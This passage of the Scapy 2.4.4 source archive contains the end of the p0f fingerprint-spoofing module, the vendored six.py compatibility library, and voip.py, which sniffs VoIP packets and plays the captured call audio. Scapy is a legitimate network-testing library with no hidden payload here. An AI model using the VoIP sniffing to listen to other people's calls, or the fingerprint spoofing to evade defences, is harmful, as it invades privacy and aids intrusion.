int(pers[0][1:]) else: raise Scapy_Exception('Unhandled window size specification') # ttl pkt.ttl = pers[1] - extrahops # DF flag pkt.flags |= (2 * pers[2]) # FIXME: ss (packet size) not handled (how ? may be with D quirk # if present) # Quirks if pers[5] != '.': for qq in pers[5]: # FIXME: not handled: P, I, X, ! # T handled with the Timestamp option if qq == 'Z': pkt.id = 0 elif qq == 'U': pkt.payload.urgptr = RandShort() elif qq == 'A': pkt.payload.ack = RandInt() elif qq == 'F': if db == p0fo_kdb: pkt.payload.flags |= 0x20 # U else: pkt.payload.flags |= random.choice([8, 32, 40]) # P/U/PU elif qq == 'D' and db != p0fo_kdb: pkt /= conf.raw_layer(load=RandString(random.randint(1, 10))) # XXX p0fo.fp # noqa: E501 elif qq == 'Q': pkt.payload.seq = pkt.payload.ack # elif qq == '0': pkt.payload.seq = 0 # if db == p0fr_kdb: # '0' quirk is actually not only for p0fr.fp (see # packet2p0f()) if '0' in pers[5]: pkt.payload.seq = 0 elif pkt.payload.seq == 0: pkt.payload.seq = RandInt() while pkt.underlayer: pkt = pkt.underlayer return pkt def p0f_getlocalsigs(): """This function returns a dictionary of signatures indexed by p0f db (e.g., p0f_kdb, p0fa_kdb, ...) for the local TCP/IP stack. You need to have your firewall at least accepting the TCP packets from/to a high port (30000 <= x <= 40000) on your loopback interface. Please note that the generated signatures come from the loopback interface and may (are likely to) be different than those generated on "normal" interfaces.""" pid = os.fork() port = random.randint(30000, 40000) if pid > 0: # parent: sniff result = {} def addresult(res): # TODO: wildcard window size in some cases? and maybe some # other values? if res[0] not in result: result[res[0]] = [res[1]] else: if res[1] not in result[res[0]]: result[res[0]].append(res[1]) # XXX could we try with a "normal" interface using other hosts iface = conf.route.route('127.0.0.1')[0] # each packet is seen twice: S + RA, S + SA + A + FA + A # XXX are the packets also seen twice on non Linux systems ? count = 14 pl = sniff(iface=iface, filter='tcp and port ' + str(port), count=count, timeout=3) # noqa: E501 for pkt in pl: for elt in packet2p0f(pkt): addresult(elt) os.waitpid(pid, 0) elif pid < 0: log_runtime.error("fork error") else: # child: send # XXX erk time.sleep(1) s1 = socket.socket(socket.AF_INET, type=socket.SOCK_STREAM) # S & RA try: s1.connect(('127.0.0.1', port)) except socket.error: pass # S, SA, A, FA, A s1.bind(('127.0.0.1', port)) s1.connect(('127.0.0.1', port)) # howto: get an RST w/o ACK packet s1.close() os._exit(0) return result scapy-2.4.4/scapy/modules/six.py000066400000000000000000000751341372370053500166230ustar00rootroot00000000000000# Copyright (c) 2010-2017 Benjamin Peterson # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # noqa: E501 # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. ## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more information ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """Utilities for writing code that runs on Python 2 and 3""" from __future__ import absolute_import import functools import itertools import operator import sys import types __author__ = "Benjamin Peterson " __version__ = "1.10.0" # Useful for very coarse version differentiation. PY2 = sys.version_info[0] == 2 PY3 = sys.version_info[0] == 3 PY34 = sys.version_info[0:2] >= (3, 4) if PY3: string_types = str, integer_types = int, class_types = type, text_type = str binary_type = bytes MAXSIZE = sys.maxsize else: string_types = basestring, integer_types = (int, long) class_types = (type, types.ClassType) text_type = unicode binary_type = str if sys.platform.startswith("java"): # Jython always uses 32 bits. MAXSIZE = int((1 << 31) - 1) else: # It's possible to have sizeof(long) != sizeof(Py_ssize_t). class X(object): def __len__(self): return 1 << 31 try: len(X()) except OverflowError: # 32-bit MAXSIZE = int((1 << 31) - 1) else: # 64-bit MAXSIZE = int((1 << 63) - 1) del X def _add_doc(func, doc): """Add documentation to a function.""" func.__doc__ = doc def _import_module(name): """Import module, returning the module after the last dot.""" __import__(name) return sys.modules[name] class _LazyDescr(object): def __init__(self, name): self.name = name def __get__(self, obj, tp): result = self._resolve() setattr(obj, self.name, result) # Invokes __set__. try: # This is a bit ugly, but it avoids running this again by # removing this descriptor. delattr(obj.__class__, self.name) except AttributeError: pass return result class MovedModule(_LazyDescr): def __init__(self, name, old, new=None): super(MovedModule, self).__init__(name) if PY3: if new is None: new = name self.mod = new else: self.mod = old def _resolve(self): return _import_module(self.mod) def __getattr__(self, attr): _module = self._resolve() value = getattr(_module, attr) setattr(self, attr, value) return value class _LazyModule(types.ModuleType): def __init__(self, name): super(_LazyModule, self).__init__(name) self.__doc__ = self.__class__.__doc__ def __dir__(self): attrs = ["__doc__", "__name__"] attrs += [attr.name for attr in self._moved_attributes] return attrs # Subclasses should override this _moved_attributes = [] class MovedAttribute(_LazyDescr): def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None): super(MovedAttribute, self).__init__(name) if PY3: if new_mod is None: new_mod = name self.mod = new_mod if new_attr is None: if old_attr is None: new_attr = name else: new_attr = old_attr self.attr = new_attr else: self.mod = old_mod if old_attr is None: old_attr = name self.attr = old_attr def _resolve(self): module = _import_module(self.mod) return getattr(module, self.attr) class _SixMetaPathImporter(object): """ A meta path importer to import scapy.modules.six.moves and its submodules. This class implements a PEP302 finder and loader. It should be compatible with Python 2.5 and all existing versions of Python3 """ def __init__(self, six_module_name): self.name = six_module_name self.known_modules = {} def _add_module(self, mod, *fullnames): for fullname in fullnames: self.known_modules[self.name + "." + fullname] = mod def _get_module(self, fullname): return self.known_modules[self.name + "." + fullname] def find_module(self, fullname, path=None): if fullname in self.known_modules: return self return None def __get_module(self, fullname): try: return self.known_modules[fullname] except KeyError: raise ImportError("This loader does not know module " + fullname) def load_module(self, fullname): try: # in case of a reload return sys.modules[fullname] except KeyError: pass mod = self.__get_module(fullname) if isinstance(mod, MovedModule): mod = mod._resolve() else: mod.__loader__ = self sys.modules[fullname] = mod return mod def is_package(self, fullname): """ Return true, if the named module is a package. We need this method to get correct spec objects with Python 3.4 (see PEP451) """ return hasattr(self.__get_module(fullname), "__path__") def get_code(self, fullname): """Return None Required, if is_package is implemented""" self.__get_module(fullname) # eventually raises ImportError return None get_source = get_code # same as get_code _importer = _SixMetaPathImporter(__name__) class _MovedItems(_LazyModule): """Lazy loading of moved objects""" __path__ = [] # mark as package _moved_attributes = [ MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"), MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"), MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"), # noqa: E501 MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"), MovedAttribute("intern", "__builtin__", "sys"), MovedAttribute("map", "itertools", "builtins", "imap", "map"), MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"), MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"), MovedAttribute("getstatusoutput", "commands", "subprocess"), MovedAttribute("getoutput", "commands", "subprocess"), MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"), MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"), # noqa: E501 MovedAttribute("reduce", "__builtin__", "functools"), MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), MovedAttribute("StringIO", "StringIO", "io"), MovedAttribute("UserDict", "UserDict", "collections"), MovedAttribute("UserList", "UserList", "collections"), MovedAttribute("UserString", "UserString", "collections"), MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), # noqa: E501 MovedModule("builtins", "__builtin__"), MovedModule("configparser", "ConfigParser"), MovedModule("copyreg", "copy_reg"), MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"), MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), MovedModule("http_cookies", "Cookie", "http.cookies"), MovedModule("html_entities", "htmlentitydefs", "html.entities"), MovedModule("html_parser", "HTMLParser", "html.parser"), MovedModule("http_client", "httplib", "http.client"), MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"), MovedModule("email_mime_image", "email.MIMEImage", "email.mime.image"), MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"), # noqa: E501 MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"), # noqa: E501 MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"), MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"), MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"), MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"), MovedModule("cPickle", "cPickle", "pickle"), MovedModule("queue", "Queue"), MovedModule("reprlib", "repr"), MovedModule("socketserver", "SocketServer"), MovedModule("_thread", "thread", "_thread"), MovedModule("tkinter", "Tkinter"), MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"), MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"), MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"), # noqa: E501 MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"), # noqa: E501 MovedModule("tkinter_tix", "Tix", "tkinter.tix"), MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"), MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"), MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"), MovedModule("tkinter_colorchooser", "tkColorChooser", "tkinter.colorchooser"), MovedModule("tkinter_commondialog", "tkCommonDialog", "tkinter.commondialog"), MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"), MovedModule("tkinter_font", "tkFont", "tkinter.font"), MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"), MovedModule("tkinter_tksimpledialog", "tkSimpleDialog", "tkinter.simpledialog"), MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"), # noqa: E501 MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"), # noqa: E501 MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"), # noqa: E501 MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"), MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"), MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"), ] # Add windows specific modules. if sys.platform == "win32": _moved_attributes += [ MovedModule("winreg", "_winreg"), ] for attr in _moved_attributes: setattr(_MovedItems, attr.name, attr) if isinstance(attr, MovedModule): _importer._add_module(attr, "moves." + attr.name) del attr _MovedItems._moved_attributes = _moved_attributes moves = _MovedItems(__name__ + ".moves") _importer._add_module(moves, "moves") class Module_six_moves_urllib_parse(_LazyModule): """Lazy loading of moved objects in scapy.modules.six.urllib_parse""" _urllib_parse_moved_attributes = [ MovedAttribute("ParseResult", "urlparse", "urllib.parse"), MovedAttribute("SplitResult", "urlparse", "urllib.parse"), MovedAttribute("parse_qs", "urlparse", "urllib.parse"), MovedAttribute("parse_qsl", "urlparse", "urllib.parse"), MovedAttribute("urldefrag", "urlparse", "urllib.parse"), MovedAttribute("urljoin", "urlparse", "urllib.parse"), MovedAttribute("urlparse", "urlparse", "urllib.parse"), MovedAttribute("urlsplit", "urlparse", "urllib.parse"), MovedAttribute("urlunparse", "urlparse", "urllib.parse"), MovedAttribute("urlunsplit", "urlparse", "urllib.parse"), MovedAttribute("quote", "urllib", "urllib.parse"), MovedAttribute("quote_plus", "urllib", "urllib.parse"), MovedAttribute("unquote", "urllib", "urllib.parse"), MovedAttribute("unquote_plus", "urllib", "urllib.parse"), MovedAttribute("unquote_to_bytes", "urllib", "urllib.parse", "unquote", "unquote_to_bytes"), # noqa: E501 MovedAttribute("urlencode", "urllib", "urllib.parse"), MovedAttribute("splitquery", "urllib", "urllib.parse"), MovedAttribute("splittag", "urllib", "urllib.parse"), MovedAttribute("splituser", "urllib", "urllib.parse"), MovedAttribute("splitvalue", "urllib", "urllib.parse"), MovedAttribute("uses_fragment", "urlparse", "urllib.parse"), MovedAttribute("uses_netloc", "urlparse", "urllib.parse"), MovedAttribute("uses_params", "urlparse", "urllib.parse"), MovedAttribute("uses_query", "urlparse", "urllib.parse"), MovedAttribute("uses_relative", "urlparse", "urllib.parse"), ] for attr in _urllib_parse_moved_attributes: setattr(Module_six_moves_urllib_parse, attr.name, attr) del attr Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes # noqa: E501 _importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"), # noqa: E501 "moves.urllib_parse", "moves.urllib.parse") class Module_six_moves_urllib_error(_LazyModule): """Lazy loading of moved objects in scapy.modules.six.urllib_error""" _urllib_error_moved_attributes = [ MovedAttribute("URLError", "urllib2", "urllib.error"), MovedAttribute("HTTPError", "urllib2", "urllib.error"), MovedAttribute("ContentTooShortError", "urllib", "urllib.error"), ] for attr in _urllib_error_moved_attributes: setattr(Module_six_moves_urllib_error, attr.name, attr) del attr Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes # noqa: E501 _importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"), # noqa: E501 "moves.urllib_error", "moves.urllib.error") class Module_six_moves_urllib_request(_LazyModule): """Lazy loading of moved objects in scapy.modules.six.urllib_request""" _urllib_request_moved_attributes = [ MovedAttribute("urlopen", "urllib2", "urllib.request"), MovedAttribute("install_opener", "urllib2", "urllib.request"), MovedAttribute("build_opener", "urllib2", "urllib.request"), MovedAttribute("pathname2url", "urllib", "urllib.request"), MovedAttribute("url2pathname", "urllib", "urllib.request"), MovedAttribute("getproxies", "urllib", "urllib.request"), MovedAttribute("Request", "urllib2", "urllib.request"), MovedAttribute("OpenerDirector", "urllib2", "urllib.request"), MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"), MovedAttribute("ProxyHandler", "urllib2", "urllib.request"), MovedAttribute("BaseHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"), MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"), # noqa: E501 MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"), MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"), MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"), MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"), MovedAttribute("FileHandler", "urllib2", "urllib.request"), MovedAttribute("FTPHandler", "urllib2", "urllib.request"), MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"), MovedAttribute("UnknownHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"), MovedAttribute("urlretrieve", "urllib", "urllib.request"), MovedAttribute("urlcleanup", "urllib", "urllib.request"), MovedAttribute("URLopener", "urllib", "urllib.request"), MovedAttribute("FancyURLopener", "urllib", "urllib.request"), MovedAttribute("proxy_bypass", "urllib", "urllib.request"), ] for attr in _urllib_request_moved_attributes: setattr(Module_six_moves_urllib_request, attr.name, attr) del attr Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes # noqa: E501 _importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"), # noqa: E501 "moves.urllib_request", "moves.urllib.request") class Module_six_moves_urllib_response(_LazyModule): """Lazy loading of moved objects in scapy.modules.six.urllib_response""" _urllib_response_moved_attributes = [ MovedAttribute("addbase", "urllib", "urllib.response"), MovedAttribute("addclosehook", "urllib", "urllib.response"), MovedAttribute("addinfo", "urllib", "urllib.response"), MovedAttribute("addinfourl", "urllib", "urllib.response"), ] for attr in _urllib_response_moved_attributes: setattr(Module_six_moves_urllib_response, attr.name, attr) del attr Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes # noqa: E501 _importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"), # noqa: E501 "moves.urllib_response", "moves.urllib.response") class Module_six_moves_urllib_robotparser(_LazyModule): """Lazy loading of moved objects in scapy.modules.six.urllib_robotparser""" _urllib_robotparser_moved_attributes = [ MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"), ] for attr in _urllib_robotparser_moved_attributes: setattr(Module_six_moves_urllib_robotparser, attr.name, attr) del attr Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes # noqa: E501 _importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"), # noqa: E501 "moves.urllib_robotparser", "moves.urllib.robotparser") class Module_six_moves_urllib(types.ModuleType): """Create a scapy.modules.six.urllib namespace that resembles the Python 3 namespace""" # noqa: E501 __path__ = [] # mark as package parse = _importer._get_module("moves.urllib_parse") error = _importer._get_module("moves.urllib_error") request = _importer._get_module("moves.urllib_request") response = _importer._get_module("moves.urllib_response") robotparser = _importer._get_module("moves.urllib_robotparser") def __dir__(self): return ['parse', 'error', 'request', 'response', 'robotparser'] _importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"), "moves.urllib") def add_move(move): """Add an item to scapy.modules.six.""" setattr(_MovedItems, move.name, move) def remove_move(name): """Remove item from scapy.modules.six.""" try: delattr(_MovedItems, name) except AttributeError: try: del moves.__dict__[name] except KeyError: raise AttributeError("no such move, %r" % (name,)) if PY3: _meth_func = "__func__" _meth_self = "__self__" _func_closure = "__closure__" _func_code = "__code__" _func_defaults = "__defaults__" _func_globals = "__globals__" else: _meth_func = "im_func" _meth_self = "im_self" _func_closure = "func_closure" _func_code = "func_code" _func_defaults = "func_defaults" _func_globals = "func_globals" try: advance_iterator = next except NameError: def advance_iterator(it): return it.next() next = advance_iterator try: callable = callable except NameError: def callable(obj): return any("__call__" in klass.__dict__ for klass in type(obj).__mro__) if PY3: def get_unbound_function(unbound): return unbound create_bound_method = types.MethodType def create_unbound_method(func, cls): return func Iterator = object else: def get_unbound_function(unbound): return unbound.im_func def create_bound_method(func, obj): return types.MethodType(func, obj, obj.__class__) def create_unbound_method(func, cls): return types.MethodType(func, None, cls) class Iterator(object): def next(self): return type(self).__next__(self) callable = callable _add_doc(get_unbound_function, """Get the function out of a possibly unbound function""") get_method_function = operator.attrgetter(_meth_func) get_method_self = operator.attrgetter(_meth_self) get_function_closure = operator.attrgetter(_func_closure) get_function_code = operator.attrgetter(_func_code) get_function_defaults = operator.attrgetter(_func_defaults) get_function_globals = operator.attrgetter(_func_globals) if PY3: def iterkeys(d, **kw): return iter(d.keys(**kw)) def itervalues(d, **kw): return iter(d.values(**kw)) def iteritems(d, **kw): return iter(d.items(**kw)) def iterlists(d, **kw): return iter(d.lists(**kw)) viewkeys = operator.methodcaller("keys") viewvalues = operator.methodcaller("values") viewitems = operator.methodcaller("items") else: def iterkeys(d, **kw): return d.iterkeys(**kw) def itervalues(d, **kw): return d.itervalues(**kw) def iteritems(d, **kw): return d.iteritems(**kw) def iterlists(d, **kw): return d.iterlists(**kw) viewkeys = operator.methodcaller("viewkeys") viewvalues = operator.methodcaller("viewvalues") viewitems = operator.methodcaller("viewitems") _add_doc(iterkeys, "Return an iterator over the keys of a dictionary.") _add_doc(itervalues, "Return an iterator over the values of a dictionary.") _add_doc(iteritems, "Return an iterator over the (key, value) pairs of a dictionary.") _add_doc(iterlists, "Return an iterator over the (key, [values]) pairs of a dictionary.") if PY3: def b(s): return s.encode("latin-1") def u(s): return s unichr = chr import struct int2byte = struct.Struct(">B").pack del struct byte2int = operator.itemgetter(0) indexbytes = operator.getitem iterbytes = iter import io StringIO = io.StringIO BytesIO = io.BytesIO _assertCountEqual = "assertCountEqual" if sys.version_info[1] <= 1: _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" else: _assertRaisesRegex = "assertRaisesRegex" _assertRegex = "assertRegex" else: def b(s): return s # Workaround for standalone backslash def u(s): return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape") unichr = unichr int2byte = chr def byte2int(bs): return ord(bs[0]) def indexbytes(buf, i): return ord(buf[i]) iterbytes = functools.partial(itertools.imap, ord) import StringIO StringIO = BytesIO = StringIO.StringIO _assertCountEqual = "assertItemsEqual" _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" _add_doc(b, """Byte literal""") _add_doc(u, """Text literal""") def assertCountEqual(self, *args, **kwargs): return getattr(self, _assertCountEqual)(*args, **kwargs) def assertRaisesRegex(self, *args, **kwargs): return getattr(self, _assertRaisesRegex)(*args, **kwargs) def assertRegex(self, *args, **kwargs): return getattr(self, _assertRegex)(*args, **kwargs) if PY3: exec_ = getattr(moves.builtins, "exec") def reraise(tp, value, tb=None): try: if value is None: value = tp() if value.__traceback__ is not tb: raise value.with_traceback(tb) raise value finally: value = None tb = None else: def exec_(_code_, _globs_=None, _locs_=None): """Execute code in a namespace.""" if _globs_ is None: frame = sys._getframe(1) _globs_ = frame.f_globals if _locs_ is None: _locs_ = frame.f_locals del frame elif _locs_ is None: _locs_ = _globs_ exec("""exec _code_ in _globs_, _locs_""") exec_("""def reraise(tp, value, tb=None): try: raise tp, value, tb finally: tb = None """) if sys.version_info[:2] == (3, 2): exec_("""def raise_from(value, from_value): try: if from_value is None: raise value raise value from from_value finally: value = None """) elif sys.version_info[:2] > (3, 2): exec_("""def raise_from(value, from_value): try: raise value from from_value finally: value = None """) else: def raise_from(value, from_value): raise value print_ = getattr(moves.builtins, "print", None) if print_ is None: def print_(*args, **kwargs): """The new-style print function for Python 2.4 and 2.5.""" fp = kwargs.pop("file", sys.stdout) if fp is None: return def write(data): if not isinstance(data, basestring): data = str(data) # If the file has an encoding, encode unicode with it. if (isinstance(fp, file) and isinstance(data, unicode) and fp.encoding is not None): errors = getattr(fp, "errors", None) if errors is None: errors = "strict" data = data.encode(fp.encoding, errors) fp.write(data) want_unicode = False sep = kwargs.pop("sep", None) if sep is not None: if isinstance(sep, unicode): want_unicode = True elif not isinstance(sep, str): raise TypeError("sep must be None or a string") end = kwargs.pop("end", None) if end is not None: if isinstance(end, unicode): want_unicode = True elif not isinstance(end, str): raise TypeError("end must be None or a string") if kwargs: raise TypeError("invalid keyword arguments to print()") if not want_unicode: for arg in args: if isinstance(arg, unicode): want_unicode = True break if want_unicode: newline = unicode("\n") space = unicode(" ") else: newline = "\n" space = " " if sep is None: sep = space if end is None: end = newline for i, arg in enumerate(args): if i: write(sep) write(arg) write(end) if sys.version_info[:2] < (3, 3): _print = print_ def print_(*args, **kwargs): fp = kwargs.get("file", sys.stdout) flush = kwargs.pop("flush", False) _print(*args, **kwargs) if flush and fp is not None: fp.flush() _add_doc(reraise, """Reraise an exception.""") if sys.version_info[0:2] < (3, 4): def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, updated=functools.WRAPPER_UPDATES): def wrapper(f): f = functools.wraps(wrapped, assigned, updated)(f) f.__wrapped__ = wrapped return f return wrapper else: wraps = functools.wraps def with_metaclass(meta, *bases): """Create a base class with a metaclass.""" # This requires a bit of explanation: the basic idea is to make a dummy # metaclass for one level of class instantiation that replaces itself with # the actual metaclass. class metaclass(meta): def __new__(cls, name, this_bases, d): return meta(name, bases, d) return type.__new__(metaclass, 'temporary_class', (), {}) def add_metaclass(metaclass): """Class decorator for creating a class with a metaclass.""" def wrapper(cls): orig_vars = cls.__dict__.copy() slots = orig_vars.get('__slots__') if slots is not None: if isinstance(slots, str): slots = [slots] for slots_var in slots: orig_vars.pop(slots_var) orig_vars.pop('__dict__', None) orig_vars.pop('__weakref__', None) return metaclass(cls.__name__, cls.__bases__, orig_vars) return wrapper def python_2_unicode_compatible(klass): """ A decorator that defines __unicode__ and __str__ methods under Python 2. Under Python 3 it does nothing. To support Python 2 and 3 with a single code base, define a __str__ method returning text and apply this decorator to the class. """ if PY2: if '__str__' not in klass.__dict__: raise ValueError("@python_2_unicode_compatible cannot be applied " "to %s because it doesn't define __str__()." % klass.__name__) klass.__unicode__ = klass.__str__ klass.__str__ = lambda self: self.__unicode__().encode('utf-8') return klass # Complete the moves implementation. # This code is at the end of this module to speed up module loading. # Turn this module into a package. __path__ = [] # required for PEP 302 and PEP 451 __package__ = __name__ # see PEP 366 @ReservedAssignment if globals().get("__spec__") is not None: __spec__.submodule_search_locations = [] # PEP 451 @UndefinedVariable # Remove other six meta path importers, since they cause problems. This can # happen if six is removed from sys.modules and then reloaded. (Setuptools does # this for some reason.) if sys.meta_path: for i, importer in enumerate(sys.meta_path): # Here's some real nastiness: Another "instance" of the six module might # noqa: E501 # be floating around. Therefore, we can't use isinstance() to check for # the six meta path importer, since the other six instance will have # inserted an importer with different class. if (type(importer).__name__ == "_SixMetaPathImporter" and importer.name == __name__): del sys.meta_path[i] break del i, importer # Finally, add the importer to the meta path import hook. sys.meta_path.append(_importer) scapy-2.4.4/scapy/modules/voip.py000066400000000000000000000110271372370053500167640ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ VoIP (Voice over IP) related functions """ from __future__ import absolute_import import subprocess ################### # Listen VoIP # ################### from scapy.sendrecv import sniff from scapy.layers.inet import IP, UDP from scapy.layers.rtp import RTP from scapy.consts import WINDOWS from scapy.config import conf from scapy.modules.six.moves import range sox_base = (["sox", "-t", ".ul"], ["-", "-t", "ossdsp", "/dev/dsp"]) if WINDOWS: if conf.prog.sox is None: raise OSError("Sox must be installed to play VoIP packets") sox_base = ([conf.prog.sox, "-t", ".ul"], ["-", "-t", "waveaudio"]) def _merge_sound_bytes(x, y, sample_size=2): # TODO: find a better way to merge sound bytes # This will only add them one next to each other: # \xff + \xff ==> \xff\xff m = "" ss = sample_size min_ = 0 if len(x) >= len(y): min_ = y elif len(x) < len(y): min_ = x r_ = len(min_) for i in range(r_ / ss): m += x[ss * i:ss * (i + 1)] + y[ss * i:ss * (i + 1)] return x[r_:], y[r_:], m def voip_play(s1, lst=None, **kargs): """Play VoIP packets with RAW data that are either sniffed either from an IP, or specified as a list. It will play only the incoming packets ! :param s1: The IP of the src of all VoIP packets. :param lst: (optional) A list of packets to load :type s1: string :type lst: list :Example: >>> voip_play("64.2.142.189") while calling '411@ideasip.com' >>> voip_play("64.2.142.189", lst) with list a list of packets with VoIP data in their RAW layer .. seealso:: voip_play2 to play both the outcoming and incoming packets at the same time. .. seealso:: voip_play3 to read RTP VoIP packets """ proc = subprocess.Popen(sox_base[0] + sox_base[1], stdin=subprocess.PIPE, stdout=subprocess.PIPE) dsp, rd = proc.stdin, proc.stdout def play(pkt): if not pkt: return if not pkt.haslayer(UDP) or not pkt.haslayer(IP): return ip = pkt.getlayer(IP) if s1 == ip.src: dsp.write(pkt.getlayer(conf.raw_layer).load[12:]) try: if lst is None: sniff(store=0, prn=play, **kargs) else: for p in lst: play(p) finally: dsp.close() rd.close() def voip_play1(s1, lst=None, **kargs): """Same than voip_play, backward compatibility """ return voip_play(s1, lst, **kargs) def voip_play2(s1, **kargs): """ Same than voip_play, but will play both incoming and outcoming packets. The sound will surely suffer distortion. Only supports sniffing. .. seealso:: voip_play to play only incoming packets. """ proc = subprocess.Popen(sox_base[0] + ["-c", "2"] + sox_base[1], stdin=subprocess.PIPE, stdout=subprocess.PIPE) dsp, rd = proc.stdin, proc.stdout global x1, x2 x1 = "" x2 = "" def play(pkt): global x1, x2 if not pkt: return if not pkt.haslayer(UDP) or not pkt.haslayer(IP): return ip = pkt.getlayer(IP) if s1 in [ip.src, ip.dst]: if ip.dst == s1: x1 += pkt.getlayer(conf.raw_layer).load[12:] else: x2 += pkt.getlayer(conf.raw_layer).load[12:] x1, x2, r = _merge_sound_bytes(x1, x2) dsp.write(r) try: sniff(store=0, prn=play, **kargs) finally: try: dsp.close() rd.close() except Exception: pass def voip_play3(lst=None, **kargs): """Same than voip_play, but made to read and play VoIP RTP packets, without checking IP. .. seealso:: voip_play for basic VoIP packets """ proc = subprocess.Popen(sox_base[0] + sox_base[1], stdin=subprocess.PIPE, stdout=subprocess.PIPE) dsp, rd = proc.stdin, proc.stdout def play(pkt, dsp=dsp): if pkt and pkt.haslayer(UDP) and pkt.haslayer(RTP): dsp.write(pkt.getlayer(RTP).load) try: if lst is None: sniff(store=0, prn=play, **kargs) else: for p in lst: play(p) finally: try: dsp.close() rd.close() except Exception: pass scapy-2.4.4/scapy/packet.py000066400000000000000000002367361372370053500156260ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Packet class Provides: - the default Packet classes - binding mechanisms - fuzz() method - exploration methods: explore() / ls() """ from 